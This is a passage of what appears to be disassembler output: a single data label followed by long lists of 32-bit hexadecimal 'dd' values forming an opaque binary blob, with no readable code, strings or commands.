0C6C41040h dd 0FF007A98h, 0B54779B7h, 391FBF7h, 6A9A7352h, 2AB8B28Dh dd 53004898h, 1208F84Ah, 74AF03B9h, 56EA0235h, 26FCF576h dd 0AF16F40h, 6FF02400h, 0A0E562C9h, 334F0ED9h, 30C0B8D2h dd 864E2C1h, 0AB071D00h, 0D10B7A40h, 484B0047h, 2EEE7535h dd 0D006622h, 8A8BE8FFh, 400549h, 43060C88h, 0CA4101ABh dd 3FE18300h, 25936CD5h, 4A18004Ch, 0E7EAC127h, 6B008B21h dd 0ABD65583h, 0F9F14C6h, 0B268B17Fh, 7EF18A21h, 5DE320C1h dd 78007A7Bh, 88AD4391h, 0EA98D014h, 7B447685h, 613A5831h dd 0F4036B00h, 655AE9DCh, 8618EF00h, 17A7AE4Ah, 0ABB30097h dd 79D6FC25h, 0B5F0F14Bh, 18C10403h, 0A80552D0h, 518210h dd 0DAFA3874h, 41D562CBh, 7F8D600Fh, 83902064h, 462B54h dd 26ACE47Ch, 1F103A42h, 0E8C0AE00h, 0FF113A9h, 75AF011Bh dd 0B4D809E4h, 85A2061h, 48ED9F1Eh, 0B7514Bh, 60693146h dd 92305C4Ch, 59659505h, 6830028h, 51225A5Dh, 0E7299C00h dd 0D9D32725h, 8DE2006Dh, 1C96FDAEh, 4B00FE91h, 519DACECh dd 0EAA78820h, 44E80FEAh, 34202DC5h, 0CC088D18h, 5C54AE1Dh dd 53A2B8C0h, 6232E2h, 1A4DFA45h, 29A43D8Dh, 8010F53Dh dd 0F213E9C1h, 0F0CB27h, 0C647553h, 8945242Ah, 0D08D100h dd 9E679110h, 2C350F94h, 6E20656Ah, 69381582h, 0A2164400h dd 0F1F4E32Dh, 0CC430EC1h, 0D82101DAh, 0F4D11274h, 0D0000E72h dd 14CF85E1h, 0C8CEF6h, 731CDA4Ch, 2052F265h, 0C0230202h dd 0C1800D8Bh, 8DE4E13Bh, 54B91F50h, 0F3FDC04Fh, 1375FCAEh dd 9083B20Fh, 14AB201Ch, 75A0F1E9h, 0BA66008Bh, 0D10A74A7h dd 911E84EAh, 0F5000327h, 75F0FA80h, 4C39000Dh, 603CCBC1h dd 0A1004940h, 34FD891Dh, 3E475DB7h, 0B558B8DCh, 2808D3Eh dd 0A10CE844h, 0DD00504Bh, 18EA1B5Dh, 938428h, 14752942h dd 68CA4FBBh, 0A5E66A00h, 0F2674669h, 0EDFA3Eh, 4235281Ah dd 29B7B2ADh, 16E85Ch, 724BEB71h, 3928B0D4h, 7307612Dh dd 836C7616h, 21AF9009h, 6E347893h, 0A74ED100h, 0F8BABC5h dd 91A598AAh, 52807489h, 0D31977B1h, 4F0DD503h, 0A0EB12BBh dd 90101Ah, 4BED074Eh, 1B751430h, 2CB52600h, 4C29E95Bh dd 0F107FA0h, 3DA34516h, 8BB94FFEh, 0B6147DA0h, 0A118094Bh dd 36305080h, 0D273A2h, 0F9ADCC4h, 14AE9078h, 0FF897h dd 11C72977h, 58F63107h, 0B81C9307h, 39F3FEB5h, 4500AF04h dd 1E3F7h, 0D24E83F8h, 35A8681Fh, 4615C000h, 0E3E2D789h dd 14007C5h, 10114714h, 9A8753Ch, 90054D00h, 28FE891Eh dd 152500F7h, 10D3C3F0h, 3095121h, 80235205h, 90495AF6h dd 0E2283EA5h, 62A80400h, 95C9389h, 0BD46B026h, 0C084820Fh dd 1318A314h, 0ACBA001Ch, 4E67158Ah, 0BF1EA1FFh, 531D0C2Ah dd 8B14B2C0h, 0E23B063Dh, 205C0051h, 5F9C3E7Dh, 0D9003902h dd 6C901A72h, 9E5348Dh, 3CDD9149h, 61A6B480h, 0A70001A4h dd 0F81A77FCh, 754E14Ah, 19892488h, 0EA94B049h, 0CF0034EFh dd 182DF335h, 1613221h, 71C42F9Bh, 0D8789DABh, 1C000EA6h dd 55D2F64Dh, 16FAB5B0h, 23E813h, 0FB92E2CAh, 8A396522h dd 0E98800E1h, 0F60C90FDh, 0C352074Bh, 90CDE7B8h, 23D02F6Bh dd 808AC93Fh, 0AFD20ACEh, 14B54h, 2E028769h, 0B04A26F3h dd 0B49BB600h, 48E23A8Ah, 5DC31C0Ch, 40A05C1Ch, 0DB6433C8h dd 17000890h, 0B9FE12AEh, 2D20A6h, 0C109D27Ah, 278AC203h dd 71F8CA02h, 400732FBh, 0F935BEh, 7788FA9Eh, 0C8D0934Ch dd 43512700h, 0D225285Eh, 423B1D04h, 0F6D6804Eh, 4090503Fh dd 0B999700h, 57092C1Bh, 0D95F0060h, 8108FC51h, 370FC276h dd 208EFE6Fh, 120C112h, 89330A70h, 0C1160Ah, 0E196482h dd 320030F8h, 0E1BD0283h, 74D44E3Bh, 6E066h, 0C9851275h dd 0F78B2076h, 0FC6C8D18h, 0E74744h, 8FEB0852h, 0C2016B12h dd 0B4F05400h, 2DC0D25h, 0CE750350h, 66877AAh, 0EF19B8B8h dd 0AE539D07h, 0F6F04804h, 1A0D96h, 0C6FEAC27h, 89C91EB3h dd 6EDB8D00h, 0A5A8B2DFh, 23EC0006h, 0BDE9F084h, 1D008BB0h dd 7D148B9h, 0B7A6C2h, 85C71A14h, 95714BF8h, 0BAC30500h dd 8662F230h, 67B401BDh, 9F88289Ch, 55673003h, 0D78B0E03h dd 98B56A4Ah, 0B8C6833Ch, 9B03054Ah, 80854B28h, 6D9D0A9Dh dd 168A0900h, 95516FE6h, 26A8000Dh, 1899BD7Ah, 0C00548Bh dd 893DD1A2h, 9758F7h, 118E291Ch, 0FB9AEC2Fh, 0BB70C100h dd 0B061FFA5h, 86E90032h, 26DDEB9Dh, 91035411h, 6F50BE3Fh dd 0A2EFF8E8h, 0F07F55h, 10B9052Ah, 231C873h, 0BD832101h dd 0EC012BCCh, 1E1CEBCCh, 0B7EA8h, 1175F23Bh, 0E9B843C6h dd 0E9B92800h, 70A77832h, 918A0040h, 14123B1Ch, 238FF82h dd 0D4A080D7h, 95509C5Ah, 0F926B85Ch, 785E360h, 59D513F7h dd 8BCF16Bh, 8020F875h, 5700AA7Dh, 88191749h, 251A903h dd 0A04D0AE9h, 13404741h, 0CC01C23Ah, 38FFB1B8h, 347051A5h dd 9ED30020h, 7F468A12h, 8800090Fh, 695799Dh, 748578Bh dd 58070C2h, 0A2E08ED8h, 513DE56Ah, 0E8528501h, 0B682A3ACh dd 1F585AE4h, 382A762Ch, 0F88B3809h, 9007FF81h, 281ED87Bh dd 14EE8100h, 4FE168A5h, 4AE20975h, 288032A9h, 0C692AE07h dd 0D071590h, 12485398h, 64BC2250h, 0B80E2C51h, 939B0076h dd 0C7DF553Ch, 22CAC400h, 8592F014h, 46E000A1h, 31FBE88Eh dd 0F57D5950h, 7428840Eh, 5CF3810Dh, 0D17089ADh, 4B5E1826h dd 20E8B42Ch, 4EE72A01h, 7051851Fh, 798B1DF0h, 1CFCFE43h dd 800392F2h, 0EE287389h, 0E009856h, 0EC2D54F5h, 756B57BFh dd 346F8C8h, 0D2D46C2Fh, 0BBF9AD12h, 0A224DC42h, 573E1600h dd 49C851E4h, 52210028h, 0AD29440h, 114B957Ah, 74D11A0h dd 22438DCAh, 0A63D3055h, 82003349h, 3C60ABCh, 964C01h dd 3CC514EFh, 72DD7384h, 62126D0Fh, 315080A4h, 7C6D622h dd 0E22AB641h, 0F3A550C8h, 80E249D7h, 62367207h, 6FD06A6Ch dd 197A112h, 99E09DDDh, 0E8EA9B17h, 0D8000F4Ch, 2116478Ch dd 0A83BD0h, 0DC552585h, 234A2B1Ch, 0C411151Fh, 0DF776281h dd 3FCB129h, 53880749h, 20CC84CBh, 5138CE9Dh, 0FDC2AF00h dd 0E5E96445h, 0AD0800C6h, 0C98E2CB7h, 72015A54h, 20B46ECCh dd 2170DD70h, 67FF0051h, 4413AE14h, 0D40E2DE1h, 40B41C05h dd 95BBC37Ah, 0F488F0A7h, 79E10052h, 0F83D0EF4h, 8B068AFBh dd 0FC739111h, 41B91D0Ah, 0EA21C99Eh, 0F8532203h, 5589DDC0h dd 99018072h, 256E1FAFh, 54C4139Ah, 4E401DE5h, 1DD440A8h dd 56A595B2h, 5FC3F98h, 0D887552Eh, 57743103h, 0AB65D081h dd 0A60005Fh, 0BBF1BE07h, 1348FCCEh, 5B3E5Bh, 5C92C6E2h dd 55F996h, 3149B2F1h, 7CFC2A3Eh, 74F121Fh, 0DC4056DEh dd 0B9431D58h, 69440784h, 7642243Ch, 47FA0EA1h, 79783800h dd 5C211A48h, 0DEA59h, 4B249F7Fh, 8E5C8F8h, 79BC5000h dd 1575104Ch, 0F42D00B8h, 5A785952h, 0C30067B9h, 1A8D361Bh dd 4C43D0h, 50926A3Dh, 364EF52h, 3CE0AB01h, 0AE10F80Bh dd 1F6C8h, 406981B0h, 1489FD2Fh, 74FF0500h, 0F18B8444h dd 0BE7DECh, 9D166C65h, 0F530CB91h, 1520D39h, 64E15EA4h dd 0D770330Ch, 79900014h, 613C99EDh, 1207070Eh, 0BD8AFD60h dd 0F9084470h, 50357F2Bh, 354F510h, 84A369FBh, 20F381DAh dd 0EB14A9E0h, 231A4A00h, 0B26D1142h, 0C4EE830h, 71242802h dd 12EE9E8Ah, 22AF7D17h, 18B12A00h, 10D15CBh, 31178CACh dd 0ECA27AF5h, 0BA00D184h, 50242C8Eh, 0F0D8D07Ch, 3E4D0085h dd 2D10CE6Ah, 0FB00EB56h, 0F8C93FBFh, 0F0165Ch, 3E97BB8Dh dd 50BAB7E1h, 7E008379h dd 0F45A2F4Eh, 0ED20F44h, 842AB87Ah, 89B4FC60h, 8A70EC5Dh dd 0FF335C00h, 475183Ah, 0E0B500B1h, 0F04A40DCh, 0DCB0B7EDh dd 404F48h, 5434623Bh, 0EE5F32h, 5141FF1Ah, 0E109269Bh dd 0A03B4600h, 0BA527583h, 94C400ACh, 112DFBBBh, 27009F2Bh dd 8C06F10Bh, 0EA0E014h, 0BFFCCCFDh, 50F7D4E6h, 0BDAA4800h dd 4DA94F0h, 42B90051h, 22D667FCh, 2C74F8B6h, 958E4100h dd 4321CC6Eh, 7F6900BDh, 0E1BAF711h, 28003D01h, 933FC93h dd 13C38B17h, 9F1844h, 2CAB0C51h, 5800EB4Dh, 0D26B6526h dd 0B448971h, 51E9B2EFh, 0B98FCB0Fh, 9350ADE0h, 0F004124h dd 0EFA9D98Eh, 12162836h, 0EEAADF35h, 951D4E00h, 0F6F509h dd 45D85930h, 678725C5h, 7FE93C0Eh, 8D56A090h, 3CFB552h dd 0D3D8C450h, 0C3A3141Bh, 74D45EC8h, 9E8F8518h, 0BC21C8h dd 0A7584CB4h, 0DC8066D2h, 0B8F61B3Bh, 7402F95Ah, 96A77F8h dd 3C82C041h, 0D38700AEh, 0CD8C05ACh, 18079401h, 0D62430ECh dd 63E8C100h, 579600A3h, 0D503FFF8h, 20046C6h, 2D8729B5h dd 0B89883h, 599F227Eh, 0C8D366CCh, 9B005E76h, 0BD4A11D9h dd 1D488C53h, 0C0E5E8B6h, 0A899E214h, 1CFC7942h, 8454460Fh dd 212AA780h, 0E0D88B63h, 0EEC3F77h, 2B044132h, 88B0BFE1h dd 0C40CD1D0h, 104808C0h, 181200DFh, 2401C24h, 90480154h dd 64BE573Ch, 0F780E2A3h, 0BD8C2970h, 0B820E0F3h, 0A436C600h dd 6609C1C7h, 0AC193AB4h, 1FD1FCFFh, 0C0320403h, 91BC237Fh dd 1002BFF0h, 33C2C834h, 89A400Ch, 3FF7F624h, 267FF190h dd 0A1C4D1h, 448C227Fh, 4300C071h, 21E0B8BEh, 1624102h dd 3418F224h, 0CCC45A86h, 170E0A2Ah, 0C80FC3h, 18E367F0h dd 1C837B53h, 0B32A5E8h, 0C008B62h, 0C137FB86h, 5700C37Bh dd 498AA089h, 7BF075h, 1338C85Bh, 0F85C191h, 174BCB01h dd 259879F5h, 4AA29D0h, 0C644CDDCh, 0FE9380BAh, 60053C3h dd 17364FB7h, 0C10BB9h, 792D558h, 0E280DA60h, 0F9F48h dd 84811A23h, 7F6193Bh, 65A76B17h, 515FD062h, 8D00C920h dd 44498ADh, 68B5EFh, 72DD63Eh, 6A04871h, 844C5800h, 0F507021h dd 0E3540040h, 0E8FB23FEh, 0D53AF7EBh, 0ADF69FECh, 33A04C0h dd 0F983CFh, 31B7E7C1h, 0E3BB73E9h, 3718D600h, 0B00C23FBh dd 24860058h, 0FD0B07EEh, 4147A03h, 1FB8C735h, 1E0073E7h dd 3DBB8CE8h, 0F9180063h, 640C7B23h, 0EB773A75h, 0F79B0807h dd 7C80946Fh, 6415EECFh, 40F82FFEh, 0AAE9ADC4h, 7A7701h dd 96B3DF03h, 0EB98133Ah, 800B0D3Ch, 467329DAh, 38573BC7h dd 87807410h, 14C8CC11h, 713D625Ah, 1CE980B9h, 1E428D18h dd 1C0477AEh, 643B326Ah, 5B740049h, 408885BCh, 0D0CE870Fh dd 231C43B2h, 284E175Dh, 2CDB00A8h, 90AF881Ah, 0AEB7303Ah dd 34032371h, 0E8C3B885h, 38E4D1h, 0AF06106Ah, 0E8783C21h dd 9D183707h, 3D20FD0Ch, 12A88A0h, 99C50381h, 205A8279h dd 7F0071EBh, 300ABD4Eh, 34986EEh, 0CDB8CAFh, 5400E1CDh dd 8B4C295Dh, 2C758005h, 5D85BDh, 527236C3h, 0E90E200Ch dd 0A06A2B78h, 9097A929h, 17211F09h, 8EB14062h, 9AB7C674h dd 30260D64h, 8090A307h, 0DAC41321h, 10E0321Fh, 0A4A50480h dd 268F264h, 149085EDh, 0AC4019ACh, 0B02E16C4h, 0C624A223h dd 5521F403h, 9B5BB0A1h, 7A340344h, 849E7E10h, 0D022C78Fh dd 0BE968815h, 0B0917800h, 0AC181085h, 1F8D75BDh, 0C0C8BAh dd 86F9E828h, 2313FF43h, 6A12D038h, 0A2405F1Fh, 3AB1423Dh dd 100F1DBFh, 1C33BD35h, 78D16158h, 7684FC5Eh, 2C81640Eh dd 0A29DC01Eh, 79CA321h, 0E0873C08h, 0A1C7E03Ah, 670ED9F6h dd 6033FE6Eh, 0B1AEE841h, 994A1304h, 89C70021h, 3AB01F29h dd 0A2FBE90Fh, 208FE057h, 7EC4309h, 1F531C5Ch, 0EEFA07h dd 67B88D34h, 1460D608h, 0F002D31Ah, 0BD41FBA3h, 11E00F7Bh dd 94E2001Ah, 2A217C9Ch, 4F0062B2h, 0E2819C0h, 3CA37710h dd 0C9468F1h, 940C9218h, 0B30A38ECh, 97A004EAh, 0CB00E2A6h dd 230E2431h, 38E444F3h, 0C0CE1462h, 0A34D145h, 0A4002FEAh dd 88D0CE8h, 0C59B322h, 2C19DA47h, 0F3FE6F6Ch, 32B46000h dd 8C43141Ch, 415201A2h, 1F51C2E9h, 902A70F8h, 0D703F901h dd 0D2C12BE5h, 3157E2C8h, 143C897Ch, 4A01C824h, 10064809h dd 7237805Ah, 422150h, 64EC3A54h, 0B7F2B8C9h, 0B930B400h dd 0C4DB483Eh, 17FB0024h, 40958290h, 0D8006429h, 4806C77Fh dd 452301h, 4C040E67h, 0EFCDAB89h, 0FE0050E0h, 8098BADCh dd 0E47654h, 58104032h, 0D2E1F008h, 5C1EC300h, 0E22ECFEh dd 3C98F860h, 181DCBAh, 0ABCDEF64h, 6768C089h, 2320451Fh dd 0F6C0400h, 1E3C2D1Eh, 407FE0BBh, 0E353D9CBh, 0C61C7232h dd 0BB3E18DEh, 344123Fh, 40802800h, 38F885h, 6F431E7Eh dd 5F8DD02Bh, 56A92500h, 0AF53DE9Eh, 0F0CC0BC3h, 938351FFh dd 8FF81E76h, 0E001C183h, 1386EBD3h, 0AB60C3B3h, 5A6C03DFh dd 60DABD14h, 0C48B40B0h, 1000B978h, 0A7161350h, 0ED52B45h dd 7FE25DE9h, 90185120h, 0B80097D9h, 777E1EEBh, 966ED4h dd 13FE507h, 0EDAF6F5Eh, 0BF35A500h, 3BFD7440h, 107D00DFh dd 2E548D13h, 0C1DD2EBh, 0FBA2CBh, 9AAE424Fh, 3649112h dd 18C60256h, 2988DF2Bh, 28003CCDh, 0C0DD40E6h, 0BE803h dd 7C41B385h, 1D2986F6h, 0C7838A00h, 6EB19EAh, 7DD804FBh dd 0C04DC6ECh, 51A66F7Ch, 0FC749F00h, 0D2147B7Ah, 78B604C8h dd 806A60A4h, 24A6905Dh, 23449A00h, 710B566h, 0DA875812h dd 9FFBF500h, 5663E1A6h, 0E898B700h, 345DA709h, 4C793F2Bh dd 1B58A058h, 0C7C3A50Eh, 0D6CFF920h, 0DB008030h, 244C2070h dd 3BC88469h, 1F9CEA0h, 0F90F4111h, 21F4F3F8h, 0BDE8CF15h dd 0F000C15Dh, 7324A01Eh, 584CCF4Eh, 160031D2h, 31F0A10h dd 5C003FFEh, 0FAFC104h, 341F57Ch, 8A71C8Ch, 0C29C87F2h dd 9740E4B0h, 47F2C62Ah, 51F13505h, 1FA8438Ch, 0C8C43100h dd 46130218h, 10A83003h, 0E187A154h, 95C5011Ch, 85D5FDF1h dd 1C42B734h, 1220E2B6h, 698A00D8h, 7E0CA881h, 9FC81AC1h dd 0AFC02451h, 0F54409F7h, 2280CF18h, 128A2BDh, 0FF5BB102h dd 0E0E011C6h, 0E022C85h, 895CD7BEh, 4FA2DFBEh, 30AF0BE7h dd 902722AFh, 9C34D66Bh, 9AB70A2Ch, 0E4C52B07h, 719301A0h dd 18FD0198h, 0C4A8435Bh, 3872F849h, 79F28EE0h, 7E8A64Ch dd 3CF1A26Ch, 0B408C10Eh, 0E9EC497Bh, 7388009Dh, 4405CB7h dd 25001562h, 1069F61Eh, 1D94C4E8h, 0C005C88Ch, 318A2B9h dd 9200B340h, 0D56982C0h, 0E51AA8h, 8CD81478h, 51F541A5h dd 265E5A1Ch, 24A30600h, 0DC4FCDh, 0E8C4CD2h, 341D1281h dd 0E4AA9801h, 7EE909B6h, 61DC30h, 4D92CCFh, 1420FB77h dd 8B3BB2B0h, 5D08139Fh, 0C2D6B100h, 5C1EA94Fh, 9003F123h dd 14531F28h, 608402A8h, 633F6CFCh, 0F4550047h, 40A1E6C8h dd 0A69100D8h, 0B867218Bh, 983F645Ah, 0D3FB8008h, 0A9B402E7h dd 6E90124h, 8CA5468Ah, 0E601E064h, 211406B8h, 14E4DB18h dd 0AEA2D0h, 0C33707D6h, 0EEC4784h, 0C51EF88h, 0D50D8700h dd 1D02F440h, 0F321A442h, 0ED184179h, 45F58F71h, 10AAE8FFh dd 0B8B90316h, 0E9058034h, 8C660FC0h, 8667C43Fh, 0C7475C3Ch dd 7F8E2FAh, 42FCEFA3h, 7936E078h, 40008E7Bh, 210D91Ch dd 0A21676Fh dd 0B97F88A9h, 8A300FE6h, 8D2A4CA3h, 0A290CCE8h, 0F2BD38h dd 0FFFA3942h, 62A196h, 0B433B9C3h, 4A8A291Dh, 0A0FD078h dd 8771F6h, 65AB1242h, 0B1000B7h, 38C80113h, 61F0222Bh dd 1E6D9D3Dh, 17A6A531h, 289C8307h, 0D10C8160h, 1A6800E5h dd 8BAB5213h, 17002023h, 0F0B3094Ch, 0BEEA44h, 1084A456h dd 6BB1BA47h, 831CC83Bh, 0DEDCA981h, 9646F04Bh, 51853E88h dd 2607AF0h, 0B5F640BBh, 0A840E487h, 0BF00BC70h, 1FD602BEh dd 1F043490h, 0C09B7EC6h, 471CCB62h, 5E44DEFh, 0A127FA00h dd 198321EAh, 130F02ACh, 1B38C908h, 0EF30F9C0h, 514D43Ch dd 18F883A6h, 201DCD00h, 12210488h, 1F1AC59h, 0D4D039EFh dd 4EBF4046h, 7200B1BBh, 0CF2219C9h, 3B99E505h, 89DCE6DBh dd 8C423400h, 83D3C88h, 1FA27C03h, 0B8FCBC10h, 566580h dd 43C4AC20h, 0E641E5DDh, 29224400h, 0C14086F4h, 0CC0C0094h dd 0BE72EE5Bh, 0F5000506h, 801C8528h, 2FFF97h, 0F6A0432Ah dd 0AA24E90Bh, 1687A526h, 0CA141700h, 0F0A7C938h, 0AB940223h dd 0D00B4769h, 0E48917C0h, 11080F16h, 0A0D69518h, 0E0980093h dd 952AE90Ah, 400F00Ch, 0D8BC3CE8h, 81159Ah, 0E055280Bh dd 405B59C3h, 574D6509h, 0E55D0F95h, 28072CAh, 1AACC92h dd 1AB0318Fh, 4044A021h, 0EFF47DD8h, 0D318FF05h, 0EF6487h dd 85845DABh, 1926B602h, 201D7FC8h, 0A87E4FC0h, 0FD9046Fh dd 0CB0D112Ah, 0E0A03CEFh, 33FE2CE6h, 1EABEA0Eh, 9685FF25h dd 0ADC00AF9h, 8CA301h, 1DA95FC2h, 0A13E3410h, 4E08901Dh dd 849642C0h, 7F2EBD54h, 1D82F620h, 58F7537Eh, 0A994665h dd 35FA2CFAh, 0BD3AF216h, 0B8681403h, 4300085h, 2AD7D2BBh dd 74005867h, 390524Ch, 0D391C2h, 0BA7CEB86h, 3326D762h dd 61DBF800h, 7EBC8CA9h, 7FD6005Bh, 78F74B63h, 897CE413h dd 684F3600h, 2EA340E2h, 0F23700FCh, 683545Ah, 0FB035852h dd 4D4A7D7Ch, 0E809F83Fh, 4EAC0378h, 670B4011h, 89FACC98h dd 0BE48FE00h, 25165BEEh, 3D2AFCF8h, 0A192207Fh, 375ACAAh dd 72FAF5D7h, 0F1EAE0F6h, 17FE7457h, 13A1E2E9h, 2B5C009Dh dd 0C4C5084Bh, 0E8F68200h, 19699DF3h, 46F93F4Ch, 0C8DA3A8Fh dd 0CC091EEh, 7D64EAE5h, 0CB25E902h, 414C1BBEh, 0FAF41470h dd 0EA2B000Ah, 467C3C81h, 10072CD7h, 4BAEA887h, 0B8FC7h dd 0FBC55C12h, 0EB2B3508h, 147DC12Bh, 0AD4FE8D7h, 116517Eh dd 9C0FCD41h, 0AB786018h, 1E020771h, 3F213619h, 41C6400h dd 938ACA3h, 1B17810Fh, 0B2401F10h, 0BFA23020h, 42BE018Ch dd 0E97CD76Ah, 0E30DF01Eh, 28881A1Fh, 14AE2600h, 16120E40h dd 3F2CE43h, 1CAC4FD2h, 8D1BC1DDh, 59E8E388h, 7A000130h dd 6200EADh, 0F1C41A46h, 0B342CF4h, 0C079238Ch, 19A3A38Eh dd 6C003851h, 0CEC32109h, 24083CF9h, 3D4C85FDh, 0F879EF00h dd 0D0335F3Bh, 9F9939h, 2E6D6F6Ch, 123C82Dh, 0CF32E1BAh dd 0E064F908h, 0ED01EA92h, 0C1360A87h, 10E4378Ch, 0D4AD00E6h dd 4269ACEFh, 0FA0027CFh, 6DFEBE6Ch, 164B37A6h, 10DDB34h dd 0FB18522Dh, 9E76C8F2h, 0A5F4CF00h, 6D7B39A7h, 0A60D4C64h dd 78B247Bh, 0F2DA0C2Dh, 29029ABCh, 0F6281237h, 1ED840CDh dd 136400FFh, 9AFA217Eh, 785218C4h, 451101C0h, 0C249B1D0h dd 0A48F3CF0h, 7C623E8Ah, 80533680h, 130C2437h, 0CAE7F20Eh dd 47F6A0A4h, 18078830h, 5ED0DF08h, 0CE0B9BD6h, 800CE211h dd 881FD198h, 739C000Dh, 96279D4h, 26F858B1h, 5CC4130Fh dd 3C1447C3h, 8FC7ECB7h, 65D793D7h, 43373232h, 0F82CB82Eh dd 917C7Eh, 0C40A3859h, 103FD1F2h, 0E29CE900h, 0D403C2Ch dd 0D2430123h, 0E9D20F1h, 0CCA9E7Ch, 6B6214C7h, 0A71CE5D0h dd 41EE24Eh, 0EC9D60E9h, 72A1C0FBh, 90E3C4h, 15490B01h dd 0D29EB10Fh, 3DD324F0h, 4F9F5AB7h, 882CC32Eh, 0D88C4A5h dd 0D6001308h, 5C953B9Dh, 0F23467h, 0D2FA0206h, 1DCEA71Fh dd 0C0719C27h, 13CAB3BAh, 7203Ch, 131FD388h, 771E6E27h dd 9E40E802h, 5B33E90Ch, 6A5800C9h, 3C9485D3h, 5F7FA1FFh dd 46710800h, 0AC0E4CC5h, 0D34A009Dh, 0FF5EFA2Dh, 0AEFAA410h dd 0C4877303h, 0F8F0040Fh, 8233Fh, 59B43842h, 0D424C212h dd 1C941F18h, 489F2B56h, 4607351Ah, 0F069C418h, 0FEA53F28h dd 42FEE9B8h, 32C66F03h, 0D86ADF7Eh, 7D49B78h, 0E1189185h dd 682EEA2h, 0D0401A81h, 41097C34h, 42D4D905h, 0B51F409Fh dd 0C110185h, 14F9D521h, 0A029DC0Ah, 35B2A407h, 38C067A1h dd 1F28B518h, 8F425CFFh, 522FD79h, 11601B81h, 9F50D59Ah dd 8900BDC0h, 4724A086h, 0FDC82FAh, 0EF8F1BBCh, 7B9180DCh dd 0B073EB89h, 0D237D400h, 4876AFF7h, 0B90707D5h, 40F823F0h dd 3DEE9779h, 374D0B00h, 2D840932h, 7C2E39D6h, 79F92300h dd 0C843E860h, 68968C05h, 0CF8037EAh, 5876621Eh, 5E1D0DD6h dd 24A1C0C2h, 0CA8C51E9h, 0C21924CFh, 6012020Eh, 17D6AD7Bh dd 1A19962h, 0CF922076h, 132BCC31h, 0C4302301h, 0D70E0409h dd 4C10C8E4h, 0C44CA4F1h, 56001B3Fh, 92E9E2C9h, 38031369h dd 0F389A844h, 75F3BF22h, 8F0CD0A2h, 0D7C007E2h, 0AFAC2116h dd 5781CA0h, 2E5CEC83h, 6F1006Eh, 0AD82401h, 15383DF2h dd 0DE8159BBh, 14CA6927h, 44BC200Dh, 1A08061Fh, 85CE9C5Fh dd 71A32088h, 0F581E18h, 42D3AC39h, 0C0BFC4E7h, 2F8F0838h dd 78D2BD48h, 0FD4E0200h, 6FEEA953h, 22E64Ch, 73D930F1h dd 9A3FE23Ch, 6EEC3200h, 0CB4B08B0h, 0FF5008Ch, 0BBD95C80h dd 0A407723Bh, 0E841EE33h, 2704B750h, 5200006h, 0A2C51B46h dd 3B0BCBD9h, 5F33A674h, 57A44801h, 0E36D206Eh, 0D5B13700h dd 1C290BD9h, 0E9880033h, 256E2ECAh, 37E64CE5h, 30943A05h dd 0F1C0F8FEh, 996DA2Fh, 0FFADD638h, 81CC9704h, 0F65D04EEh dd 3BC0A142h, 1403B8A3h, 2154369Eh, 3865E9A1h, 1965820h dd 2B93A546h, 0F7D41401h, 50F1B7D3h, 248DF0C9h, 43F4FD00h dd 20DE20Ch, 1FDB1629h, 0FFFB050Ah, 8C9982F0h, 435B68C0h dd 213400FDh, 4FB901A2h, 62152390h, 4216F4A0h, 95841801h dd 810868A6h, 0D38E41DEh, 1F3CB2F8h, 80C82314h, 0A70F9F4Bh dd 9D4C383Ah, 6390Eh, 89ACDC2Fh, 244C17h, 0E1C2A508h, 0E5C37B74h dd 14E25C00h, 1812225Eh, 0B91F00F2h, 0E63EFC32h, 5002A292h dd 46723128h, 211861CEh, 28F9DCECh, 0D84C38h, 25D3E888h dd 481F04BAh, 0DCD18900h, 336A5971h, 0C6FE61h, 963126A7h dd 484678Ah, 36DD4Ch, 0E92032A6h, 3093F8h, 5A68C525h, 2F65339Ah dd 0DD58C200h, 0FECA2ECDh, 0CF7003D0h, 89622DB9h, 0BD2F6DE1h dd 0BBD18018h, 59152785h, 0F7CF7E0Ah, 16D810D5h, 7BA81DC4h dd 0DE02C02Eh, 0FF9434B2h, 1F7233Eh, 79907349h, 0C8EA4F18h dd 0DE5D66h, 843C477Eh, 0FD8BD06Fh, 878F103Dh, 0B8D20FCh dd 4135BCA2h, 5BECCEADh, 5909Dh, 93A946C3h, 18F418Ah, 63CF370Fh dd 0F611A756h, 89B8A5D0h, 2DCE30E5h, 800CE882h, 87DF5700h dd 6E7830E4h, 56D15C46h, 390271Fh, 9E083537h, 1DD980D5h dd 4D0793FDh, 8448DA5Ch, 0BD2CDFB0h, 8AAA3A43h, 0C7EB3780h dd 0E008626Dh, 4235710Fh, 571CC3F4h, 3E5AF80Ch, 0EC8A785Bh dd 0E9400E9h, 95E06B27h, 157BCE48h, 799CD707h, 13B0499Dh dd 165AB1BCh, 5B29D2h, 7BCA97D7h, 8BFEE484h dd 0D02410F0h, 3C001CABh, 1B5817B9h, 2ED3B0E1h, 1C80762h dd 8B972847h, 453A3081h, 0E17E1AC0h, 0F3CE415h, 0B5800778h dd 0C4E28D00h, 200131D3h, 562A4E1Eh, 2CF4F712h, 43E30013h dd 0F23088ACh, 540FB274h, 0A0E22E24h, 87AD1A58h, 0E4100011h dd 0F2E55DF3h, 9A7FF494h, 994509Fh, 0E75EE289h, 0C2232440h dd 0D70478F0h, 44149DD4h, 954B7BC1h, 0E3A5C480h, 0F382A0C7h dd 6D703E00h, 10ADFF02h, 87D50011h, 16E33DE2h, 33001453h dd 44A2D84Ah, 2C2A3FEDh, 0DFDCCBh, 62A0C5A5h, 0B5B0E390h dd 0C82E0C7Ah, 0D80002EEh, 0E160B8C3h, 0F2EFEC7h, 3354A06Bh dd 0AECB25A1h, 942E0CFh, 39D1E42Ch, 0FEC2FF07h, 0D61010C7h dd 3959F8Ch, 0E43C09D3h, 221FA171h, 978F43D0h, 6E0915h dd 890EF82Ch, 9E60DEE4h, 0D7844353h, 0E1B9B8C4h, 3A2DF4C5h dd 8B58AD3Eh, 80AF46CAh, 0B11311D1h, 2EE50C08h, 0FD1EA13Dh dd 120C427Fh, 3EE3D70Fh, 4BE5243Bh, 0C6080F9Fh, 3A9666E0h dd 28641455h, 71800D7Ah, 6A9647Dh, 4273FE4Eh, 83E60C5h dd 7EBCC2h, 0B0C88410h, 79E89FBDh, 0CAE60306h, 0FB50FE34h dd 0D21F0E7h, 397DF8D8h, 0AAB49F1Bh, 5B79C894h, 48F0E0h dd 0BD1FB57Bh, 436F18E6h, 9C4EEB03h, 0D04F9EA6h, 84AACFh dd 1038B193h, 49226FC4h, 43F72400h, 0F3E6D213h, 0CAE100AAh dd 0C8730EB1h, 6B00596Fh, 753F0B9Fh, 0BD34B5h, 65D9192Dh dd 90E90D99h, 4B3D6E02h, 40EB4CA8h, 50CA88h, 482C6437h dd 15BD69C7h, 